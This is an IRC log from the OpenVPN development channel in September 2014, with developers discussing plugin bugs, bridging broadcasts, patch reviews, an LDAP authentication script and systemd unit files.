shouldn't ask in here but seemed to be pretty dead in #openvpn. 17:53 < rooth> Can someone tell me where I can get this Windows-GUI-client -- http://blog.erben.sk/wp-content/uploads/2013/02/openvpn-client1.png ? Was it just shipped with some versions of openvpn or? I tried installing 2.3.4 but just found the "old" Windows GUI client, or what am I not doing ... 17:53 < rooth> ... right? =) 18:00 <@pekster> This channel is for development of OpenVPN. Your question is both not about development nor about the GPL OpenVPN software, thus it's doubly wrong to ask in here. 18:01 <@pekster> See #openvpn for info though 18:03 < rooth> Thank you, did not know it wasn't part of OpenVPN. Sorry! 18:14 <+debbie10t> FYI: From George (Forum team) : https://forums.openvpn.net/topic16980.html 18:14 <@vpnHelper> Title: OpenVPN Support Forum GLib-Error : Server Administration (at forums.openvpn.net) 18:18 <+debbie10t> I am using archlinux and have not had the problem 18:41 -!- snappy [nipnop@unaffiliated/snappy] has quit [Ping timeout: 268 seconds] 19:25 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Closing] 19:52 -!- snappy [nipnop@unaffiliated/snappy] has joined #openvpn-devel --- Day changed Thu Sep 11 2014 00:03 -!- mattock_afk is now known as mattock 02:07 -!- dazo_afk is now known as dazo 05:42 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 05:44 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 05:44 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 05:47 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 05:47 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 06:41 < n13l> dazo: hey, dont u miss the lastest EKM patch ? :-) 06:42 < n13l> dazo: btw I probably found buf related to plugin interface in git's master branch 06:42 < n13l> buf/bug 06:44 < n13l> dazo: when I install same plugin on client and server and implement TLS_FINAL callback and return "TLS_AUTH_OK" openvpn reports TLS error that keys are out of sync 06:46 < n13l> it is not probably usual use-case that both TLS end-points authenticate eachother 07:12 <@cron2> debbie10t: in bridge mode, you can use whatever gateway you want, as long as the gateway knows how to route packets - that's the point of briding 07:16 <+debbie10t> cron2: the thrust of my concern is that on WXP server in bridge mode the server does not forward all b./c packets correctly depending on the client OS .. WXP client b/c are to subnet.255 W7 b/c are to 255.255.255.255 and the WXP server only forward b/c to 255.255.255.255 07:17 <+debbie10t> i mean packets rec'd from WXP client terminate at the server 07:17 <+debbie10t> i have tested extensively 07:18 <+debbie10t> if the WXP server is set with the IP address of the server not the DEf/gw 07:19 <+debbie10t> possibly unless the server is also the def/gw .. but i have not had the chance to test that setup 07:21 <+debbie10t> the MAC layer of the client B/cast as like so: 07:21 <@cron2> no idea how bridging on a WXP server would work, or why anyone would run an OpenVPn server on WXP 07:21 <+debbie10t> lol 07:21 <+debbie10t> ok 07:22 <+debbie10t> i will check on an upto date OS and see if the problem persists in anyway 07:22 <@cron2> if you use linux, and all parties agree on the subnet mask (!), broadcast with either subnet.255 (for /24) or 255.255.255.255 will work fine. Key element is the broadcast mac address ff:ff:ff:ff:ff:ff anyway 07:22 <+debbie10t> thanks though ;) 07:22 <+debbie10t> yes - exactly ... WXP b/c are not to FF:FF:FF:FF:FF 07:23 <+debbie10t> :FF 07:23 <+debbie10t> like i said .. i will double check on a up to date OS 07:23 <+debbie10t> let you know what i find 07:38 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Closing] 10:18 -!- kareem-ali [~kareem@217.138.20.162] has joined #openvpn-devel 10:37 -!- dazo is now known as dazo_afk 12:53 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 12:54 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 12:55 <+debbie10t> ecrist: are you aware that you have disabled sigs for all normal users ? 14:37 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 14:40 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:40 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:40 -!- mattock is now known as mattock_afk 16:32 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Closing] 17:32 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 17:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:42 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 18:43 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 23:31 <@ecrist> no, I disabled sigs for ALL users 23:31 <@ecrist> even admins/mods --- Day changed Fri Sep 12 2014 02:46 -!- dazo_afk is now known as dazo 03:44 -!- kareem-ali [~kareem@217.138.20.162] has left #openvpn-devel [] 04:36 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 04:36 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:09 <+debbie10t> cron2: having tested WXP server-bridge & WXP client using v234 on both ends it appears all Bcast are now sent to FF:FF:FF:FF:FF:FF 08:09 <+debbie10t> whether bridge specifies server IP or default gw 08:10 <+debbie10t> so .. don't knwo what is different and am not going to test 222 08:11 <+debbie10t> anyway .. it all works as expected .. no wierd error withbcast to server MAC 09:45 -!- mattock_afk is now known as mattock 10:00 <@ecrist> debbie10t: I know that signatures aren't working anymore 10:00 <@ecrist> it was by design 11:23 -!- dazo is now known as dazo_afk 12:16 -!- shivanshu_ [~shivanshu@dev.gmantra.org] has joined #openvpn-devel 12:28 -!- shivanshu_ [~shivanshu@dev.gmantra.org] has quit [Changing host] 12:28 -!- shivanshu_ [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 12:28 -!- shivanshu_ is now known as shivanshu 13:42 -!- naitso [~naitso@adsl-ull-142-133.46-151.net24.it] has joined #openvpn-devel 14:08 -!- naitso [~naitso@adsl-ull-142-133.46-151.net24.it] has quit [Ping timeout: 252 seconds] 14:16 -!- naitso [~naitso@adsl-ull-142-133.46-151.net24.it] has joined #openvpn-devel 14:29 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 14:31 -!- naitso [~naitso@adsl-ull-142-133.46-151.net24.it] has quit [Quit: bye] 14:46 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] 14:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:11 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 15:12 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:12 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:43 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 276 seconds] 16:46 -!- mattock is now known as mattock_afk 17:18 -!- Netsplit *.net <-> *.split quits: @pekster 17:24 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 17:24 -!- mode/#openvpn-devel [+o pekster] by ChanServ 17:33 -!- Netsplit *.net <-> *.split quits: lfx 17:35 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:35 -!- mode/#openvpn-devel [+o plai] by ChanServ 17:37 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 17:37 -!- mode/#openvpn-devel [+v krzie] by ChanServ 17:38 -!- Netsplit *.net <-> *.split quits: @syzzer, @dazo_afk, @plaisthos, +krzee 17:38 -!- krzie is now known as krzee 17:40 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 17:40 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 17:41 -!- dazo_afk is now known as dazo 17:42 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 17:43 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 17:43 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 17:43 -!- mode/#openvpn-devel [+o andj] by ChanServ 17:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 17:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 18:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: your mom - its whats for breakfast] 18:05 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 252 seconds] 18:14 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 18:14 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Remote host closed the connection] 18:14 -!- mode/#openvpn-devel [+o dazo] by ChanServ 18:20 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 252 seconds] 18:26 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 18:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:35 <@vpnHelper> RSS Update - tickets: #442: While in UDP mode server responds on different IP than request <https://community.openvpn.net/openvpn/ticket/442> 18:38 -!- pekster [~rewt@cl-466.chi-03.us.sixxs.net] has joined #openvpn-devel 18:38 -!- pekster [~rewt@cl-466.chi-03.us.sixxs.net] has quit [Changing host] 18:38 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 18:38 -!- mode/#openvpn-devel [+o pekster] by ChanServ 18:38 -!- pekster is now known as 6JTAAFVO1 18:41 <@vpnHelper> RSS Update - tickets: #443: While in UDP mode server responds on different IP than request <https://community.openvpn.net/openvpn/ticket/443> 18:41 -!- syzzer [~syzzer@2001:610:697::12] has joined #openvpn-devel 18:42 -!- syzzer [~syzzer@2001:610:697::12] has quit [Changing host] 18:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:42 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 18:54 -!- 6JTAAFVO1 is now known as pekster 19:00 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 19:13 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:13 -!- mode/#openvpn-devel [+v krzie] by ChanServ 19:17 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 19:19 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:20 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:21 -!- snappy [nipnop@unaffiliated/snappy] has quit [Read error: Connection reset by peer] 19:21 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 272 seconds] 19:21 -!- krzie is now known as krzee 19:21 -!- plai [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 272 seconds] 19:21 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:21 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 19:55 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Ping timeout: 241 seconds] 19:55 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 19:56 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:02 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 20:03 -!- mode/#openvpn-devel [+o pekster_] by ChanServ 20:07 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 268 seconds] 20:07 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 20:07 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 20:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 20:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:20 -!- Netsplit *.net <-> *.split quits: @syzzer 20:28 -!- syzzer_ [~syzzer@2001:610:697::12] has joined #openvpn-devel 21:07 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 21:07 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 21:08 -!- mode/#openvpn-devel [-v debbie10t] by ChanServ 21:09 < debbie10t> did what i could .. but you are NOT open 21:10 < debbie10t> wankers run for your backups 21:11 < debbie10t> i am fed up of it 21:11 < debbie10t> goodbye 21:11 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel [] 21:14 <+krzee> lol 21:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:56 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Sat Sep 13 2014 03:15 -!- Netsplit *.net <-> *.split quits: @vpnHelper 03:18 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 03:18 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:55 -!- Netsplit *.net <-> *.split quits: Haigha 08:57 -!- Netsplit over, joins: Haigha 09:44 -!- mattock is now known as mattock_afk 14:40 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 14:42 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:38 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 16:38 -!- mode/#openvpn-devel [+o andj__] by ChanServ 16:45 -!- Netsplit *.net <-> *.split quits: @andj 16:45 -!- andj__ is now known as andj 17:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 17:14 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 17:14 -!- syzzer_ [~syzzer@2001:610:697::12] has quit [Quit: ZNC - http://znc.in] --- Day changed Sun Sep 14 2014 05:18 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 14:01 <@vpnHelper> RSS Update - gitrepo: Remove quadratic complexity from openvpn_base64_decode() <https://github.com/OpenVPN/openvpn/commit/25e1ec71dd150e803c0a25308c193fea124c7b7a> 14:09 -!- mattock is now known as mattock_afk 15:42 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:42 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 16:13 <@vpnHelper> RSS Update - tickets: #444: openvpnsrv.exe not detecting death of openvpn.exe <https://community.openvpn.net/openvpn/ticket/444> 16:31 <@vpnHelper> RSS Update - tickets: #445: emails from this bugtracker get tagged as SPAM <https://community.openvpn.net/openvpn/ticket/445> 18:13 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 18:39 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 272 seconds] 19:03 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 19:04 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 19:05 -!- mode/#openvpn-devel [+o pekster] by ChanServ 19:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:05 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:06 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:06 -!- mode/#openvpn-devel [+v krzie] by ChanServ 19:11 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 19:11 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 19:13 -!- Netsplit *.net <-> *.split quits: +krzee, @pekster_ 19:13 -!- krzie is now known as krzee 19:22 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Closing] 19:35 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 19:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:36 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 19:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection] 19:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 19:37 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 20:11 <@syzzer> cron2: if you can find a little bit of time, there are two patches that I sent to the list on aug 22, which are ACK'ed by dazo, but not yet applied. 20:13 <@syzzer> also, there are some patches that have not yet gotten any reply. Anyone up for a review maybe? 21:48 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 21:49 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Sep 15 2014 01:48 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:04 <@cron2> syzzer: came back from vacation saturday, spent yesterday washing heaps of clothes and cleaning up the house, and now finding back to work rythm :-) - so: I hear you, and will look at it "soonish" 02:23 -!- mattock_afk is now known as mattock 04:47 <@plaisthos> cron2: wb 04:47 <@plaisthos> in other news, I am back from vacaction too (Sunday) 06:02 <@cron2> plaisthos: wb :-) 07:04 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 07:04 -!- mode/#openvpn-devel [+o dazo] by ChanServ 08:20 -!- Irssi: #openvpn-devel: Total of 17 nicks [9 ops, 0 halfops, 2 voices, 6 normal] 08:53 <@vpnHelper> RSS Update - tickets: #446: Incorrect spelling in Russian localization <https://community.openvpn.net/openvpn/ticket/446> 11:13 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 11:40 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 13:08 -!- mattock is now known as mattock_afk 13:19 <@cron2> syzzer: for your first patch, the 2nd and 3rd hunk are more cosmetics around "the compiler doesn't grok ASSERT(0)", but the first one is a good catch indeed :-) 13:24 <@vpnHelper> RSS Update - gitrepo: Fix clang warning in options.c <https://github.com/OpenVPN/openvpn/commit/555b54cc0f0d6495ff427b9f02ecc3bc8ab73141> || Fix some unintialized variable warnings <https://github.com/OpenVPN/openvpn/commit/5ead2ae0f32e8e6d879ac0de352214a66a7bb351> 13:29 <@vpnHelper> RSS Update - gitrepo: Fix compiler warnings in ssl_polarssl.c. <https://github.com/OpenVPN/openvpn/commit/9048d50b0a27a724ad088dc4904eb4888b0bca87> 13:36 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 13:36 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 14:57 -!- d12fk is now known as d457k 15:02 -!- d457k is now known as d12fk 15:50 -!- dazo is now known as dazo_afk 16:16 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 17:28 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 17:29 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 18:23 -!- debbie10t is now known as deb-3000 18:26 -!- deb-3000 [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Not here please"] 18:42 <@syzzer> cron2: thanks1 18:44 <@syzzer> I'm currently away for vacation myself, so also not much hacking hours available here 23:46 -!- mattock_afk is now known as mattock --- Day changed Tue Sep 16 2014 01:43 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:13 <@vpnHelper> RSS Update - tickets: #447: FreeBSD 10.0-amd64, ports/security/openvpn-devel and Bad compression stub <https://community.openvpn.net/openvpn/ticket/447> 03:28 -!- d12fk is now known as d457k 03:40 <@cron2> d457k: good morning. So how's life and work balanced today? 04:10 -!- d457k is now known as d12fk 04:11 -!- d12fk is now known as d457k 05:13 -!- d457k is now known as d12fk 05:14 -!- d12fk is now known as d457k 07:11 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:11 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 07:11 -!- mattock_afk is now known as mattock 07:34 -!- d457k is now known as d12fk 07:43 -!- D4rk [D4rk@unaffiliated/d4rk] has quit [Ping timeout: 260 seconds] 07:54 -!- d12fk is now known as d457k 08:46 -!- d457k is now known as d12fk 08:55 -!- D4rk [D4rk@unaffiliated/d4rk] has joined #openvpn-devel 08:57 -!- d12fk is now known as d457k 08:57 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 08:57 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 08:58 <@d457k> cron2: high voltage =) 09:12 <@cron2> ecrist: I agree that a newer version is unlikely to fix this issue, more general confusion inside the compression code in 2.3.x... 09:16 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 260 seconds] 09:23 <@ecrist> figure it won't hurt to have the latest code to test against, though. 09:38 -!- dazo_afk is now known as dazo 09:53 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 09:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ 10:05 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has left #openvpn-devel ["Leaving"] 10:07 -!- d457k is now known as d12fk 10:45 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:47 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 10:47 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:11 -!- dazo is now known as dazo_afk 11:40 -!- d12fk is now known as d457k 12:18 -!- d457k is now known as d12fk 13:20 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has joined #openvpn-devel 13:20 -!- mode/#openvpn-devel [+v debbie10t] by ChanServ 13:38 -!- dazo_afk is now known as dazo 14:12 -!- debbie10t [~guest3459@openvpn/community/support/debbie10t] has quit [Quit: Closing] 15:12 -!- mattock is now known as mattock_afk 16:53 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 240 seconds] 17:50 -!- analogrithems [~analogrit@192.81.3.56] has joined #openvpn-devel 17:52 < analogrithems> hey since the openvpn-auth-ldap is broken in current BSD (Due to depreciated objective C calls to +alloc) I’ve whipped up a quick perl script that does the job much like the auth-pam.pl. Was wondering if it would be apprecaited in the sample-scripts directory. Comes with readme and config? Who would/should I email the zip to? 18:08 < analogrithems> incase anyone wants it, i’ve pushed it up to github 18:08 < analogrithems> https://github.com/analogrithems/openvpn-auth-ldap-perl 18:08 <@vpnHelper> Title: analogrithems/openvpn-auth-ldap-perl · GitHub (at github.com) 18:22 <@dazo> analogrithems: Just gave it a quick look ... and it looks good. I like the simplicity. I'd recommend you to pick an open source license (preferably OSI approved) and apply it to your project 18:22 <@dazo> duh! 18:22 <@dazo> I'm blind 18:23 < analogrithems> github makes it simple to say add a license. I’ve set it as BSD, but if you guys require MIT I can switch it 18:23 <@dazo> Since it's a script, I'd apply it to the auth-ldap.pl file too 18:23 < analogrithems> sure 18:24 <@dazo> To be honest, I don't know if we should ship all those "examples" in the core openvpn project. Those tends to be poorly maintained and further developed where that's needed 18:25 <@dazo> But I would be open to discuss a model using git submodule ... where you can fetch an openvpn hosted git tree and from there automatically get external stuff into the new openvpn repo 18:26 < analogrithems> done 18:26 <@dazo> That probably needs further discussions with the other developers as well, including James Yonan 18:26 <@dazo> nice! 18:26 < analogrithems> or if you just want to link it in the guide 18:27 <@dazo> yeah! ANd you can list your project here: http://community.openvpn.net/openvpn/wiki/RelatedProjects 18:27 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net) 18:28 <@dazo> btw, how is your C skills, analogrithems? 18:28 < analogrithems> looking at how to switch the perl lib to use Net::LDAP so I can include TLS/SSL support. Just noticed that the http://search.cpan.org/~chansen/Authen-Simple-LDAP-0.3/ doesn’t support SSL/TLS 18:28 <@vpnHelper> Title: Christian Hansen / Authen-Simple-LDAP-0.3 - search.cpan.org (at search.cpan.org) 18:29 < analogrithems> C I’m fine with, it’s Objective C I’m rubbish with 18:30 <@dazo> analogrithems: I'd like some help getting LDAP support into my own auth-plugin ... eurephia ... I haven't had much time playing with it, but the latest git master should have the needed pieces for external auth 18:30 <@dazo> eurephia does a more than just auth, but LDAP auth requests has popped up from time to time 18:30 <@dazo> !eurephia 18:30 <@vpnHelper> "eurephia" is http://www.eurephia.net/ 18:31 <@dazo> (only if you're interested) 18:34 < analogrithems> checking code... 18:34 <@dazo> I'll admit its a long time since I looked at it myself :) I see I have some uncommitted stuff, but I can clean up that and push it out 18:35 < analogrithems> is the extrnal auth in the plugin or in the auth dir? 18:36 < analogrithems> nevermind 18:36 <@dazo> yeah 18:36 <@dazo> the dummy-auth is probably the easiest one :) 18:38 < analogrithems> btw, off topic do you know if OpenVPN has looked into switching to http://www.libressl.org/ yet? 18:38 <@vpnHelper> Title: LibreSSL (at www.libressl.org) 18:39 <@dazo> no, we haven't ... we have PolarSSL support ... but the code should be modular enough to enable libressl as an alternative 18:41 < analogrithems> oh, nice 18:41 <@dazo> somebody would have to do that, though :) 18:48 <@dazo> analogrithems: did the eurephia code scare you? 18:49 < analogrithems> no, the dummy plugin looks really simple 18:49 < analogrithems> checking the ldap c stuff and curious if you have a config file already as LDAP requires several config options 18:50 <@dazo> analogrithems: eurephia has all this in a database, and it's passed to the auth plugin in eurephia 18:50 <@dazo> the idea is that you can have different auth mechanisms based on which username and client certs being used 18:51 <@dazo> and you can even use the same auth plug-ins in eurephia several times, with different configs ... to do the auth against different back-ends 18:58 * dazo looked into the details again 18:58 <@dazo> the PluginInit() gets a string, which can contain arbitrary data .... so that could surely be a string containing a file name 18:59 <@dazo> Otherwise, it might be we could extend the database, so you could extract the LDAP config via the eurephiaCTX struct (which would be populated based on data from the SQL database) 19:03 * dazo need to head for bed ... it's 2AM here now :/ 19:12 -!- dazo is now known as dazo_afk 20:19 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 250 seconds] 20:22 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:22 -!- mode/#openvpn-devel [+o andj] by ChanServ 20:48 -!- Netsplit *.net <-> *.split quits: ender|, analogrithems 20:54 -!- analogrithems [~analogrit@192.81.3.56] has joined #openvpn-devel 20:54 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:55 <@syzzer> dazo_afk: http://community.openvpn.net/openvpn/ticket/437 something for you? You've worked that code recently. 22:55 <@vpnHelper> Title: #437 (systemd: cannot enter password on stdin as client) – OpenVPN Community (at community.openvpn.net) 23:01 <@syzzer> oh, and mattock_afk, I think #419 can be closed? 23:02 * syzzer was just actually scanning trac to see if there was some low hanging fruit for my occasional vacation hacking hour ;) 23:12 <@syzzer> oh, and while I'm in digging through old stuff, I think this patch is ready to be committed: http://article.gmane.org/gmane.network.openvpn.devel/8981 23:12 <@vpnHelper> Title: Gmane -- Re: PATCH Do not upcase x509 username field for mixed case arguments. (at article.gmane.org) 23:37 -!- analogrithems [~analogrit@192.81.3.56] has quit [Ping timeout: 260 seconds] 23:49 -!- D4rk is now known as Guest15072 23:50 -!- Guest15072 [D4rk@unaffiliated/d4rk] has left #openvpn-devel ["Leaving"] --- Day changed Wed Sep 17 2014 00:29 -!- mattock_afk is now known as mattock 02:33 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 02:35 <@cron2> syzzer: I'll check 03:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:51 -!- d12fk is now known as d457k 04:09 -!- d457k is now known as d12fk 04:16 -!- dazo_afk is now known as dazo 04:21 <@dazo> syzzer: thx! I have a feeling openvpn was built without systemd support ... so lets see what the reporter says :) 04:23 <@dazo> syzzer: on a different topic ... have you played ever looked at libest and RFC 7030? 04:23 <@dazo> http://tools.ietf.org/html/rfc7030 https://github.com/cisco/libest 04:23 <@vpnHelper> Title: RFC 7030 - Enrollment over Secure Transport (at tools.ietf.org) 04:53 -!- d12fk is now known as d457k 05:19 -!- d457k is now known as d12fk 06:20 -!- d12fk is now known as d457k 06:51 -!- d457k is now known as d12fk 06:53 -!- d12fk is now known as d457k 08:00 -!- d457k is now known as d12fk 08:41 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 08:41 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 09:54 -!- d12fk is now known as d457k 10:14 -!- d457k is now known as d12fk 10:49 -!- d12fk is now known as d457k 12:13 -!- d457k is now known as d12fk 13:52 -!- d12fk is now known as d457k 14:02 -!- d457k is now known as d12fk 14:04 -!- dazo is now known as dazo_afk 14:32 -!- mattock is now known as mattock_afk 14:38 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 260 seconds] 14:39 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 14:39 -!- mode/#openvpn-devel [+o pekster] by ChanServ 16:28 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 20:23 <@syzzer> dazo_afk: no, I didn't look at it before. But it sounds like fixing the pains of PKI by adding another PKI... --- Day changed Thu Sep 18 2014 01:51 -!- dazo_afk is now known as dazo 02:05 <@cron2> nothing that cannot be made worse by introducing some more crypto! 02:28 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 02:32 <@dazo> :) 02:33 <@dazo> Hmm .... I've been playing with systemd + openvpn ... and I think we need to ship a systemd unit file soonish 02:34 <@dazo> systemctl start openvpn@${CONFIG-NAME} .... and systemd will ask for the username/passwords ... if done at boot, it doesn't matter if it's graphical boot screen or text console, it's just done right 02:34 <@dazo> and if something fails or you need the openvpn logs: journalctl -u openvpn@${CONFIG_NAME} 02:35 <@dazo> and you get just the openvpn logs for that config ... no matter how many openvpn instances you have running at the same time 